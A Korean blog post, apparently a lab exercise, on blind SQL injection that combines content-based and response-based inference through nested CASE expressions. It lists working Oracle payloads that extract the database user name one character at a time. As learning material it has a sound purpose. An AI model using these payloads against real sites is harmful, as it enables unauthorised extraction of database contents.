Oh! JUN

Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection) 본문

웹 해킹/SQL Injection

Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection)

Kwon Oh! JUN 2022. 9. 24. 19:24
Combination Technique
Combination 1 ★Combination 2★ Combination 3 Combination 4
Content-Based
+
Response-Based
+
Time-Based
Content-Based
+
Response-Based
Content-Based
+
Time-Based
Response-Based
+
Time-Based
기준4개
기준3개

Blind-SQL Injection 기법인 Content-Based, Response-Based, Time-Based중에서 여러개를 조합해서 Multiple Search Technique을 구현할 수 있다.

 

하지만, 이전에도 언급했다시피 Time-Based 기법은 시스템 환경에 따라 기준점이 다를 수 있고, 무엇보다도 시간이 오래걸린다는 단점이 있다.

 

그래서 결론만 말하자면, 유일하게 Time-Based가 조합되어있지 않는 Combination2를 선호한다.

 

* 기준4개는 이전에 했던 Multiple Search Technique1에서 실습했던 방법을 더 선호 


' and 1=(case when 1=1 then (case when 1=1 then 1 else 2 endelse (select 1 from dual union select 2 from dual) end)--
(case when 1=1 then 1 else 2 end) : Content-Based  (select 1 from dual union select 2 from dual) : Response-Based

1=(case when 조건문 then 1 else 2 end)
조건문에 따라 참이면 1이 출력되는데 그러면 1=1은 참이니까 '%' and 1=1은 참이 되니까 모든 게시물 출력 

거짓이면 2이 출력되는데 그러면 1=2 거짓이니까 '%' and 1=2은 거짓이 되니까 게시물 출력 x

 

(select 1 from dual union select 2 from dual)

다중 레코드 비교할 수 없으니까 에러발생


※ 기준3개 표

기준3개 표


ORACLE : user 구하기
' and 1=(case when ascii(substr((select user from dual),1,1))<96 then (case when ascii(substr((select user from dual),1,1))<64 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- 게시글 검색 x
(64~95)
user : C□□□□□□□□□□□
' and 1=(case when ascii(substr((select user from dual),1,1))<86 then (case when ascii(substr((select user from dual),1,1))<75 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- 게시물 전체 조회
(64~74)
' and 1=(case when ascii(substr((select user from dual),1,1))<72 then (case when ascii(substr((select user from dual),1,1))<68 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- 게시물 전체 조회
(64~67)
' and 1=(case when ascii(substr((select user from dual),1,1))<66 then (case when ascii(substr((select user from dual),1,1))<65 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- 에러 발생
(66~67)
' and 1=(case when ascii(substr((select user from dual),1,1))<68 then (case when ascii(substr((select user from dual),1,1))<67 then 1 else 2 end) else (select 1 from dual union select 2 from dual) end)-- 게시글 검색 x
(67)
67 → 'C'
...생략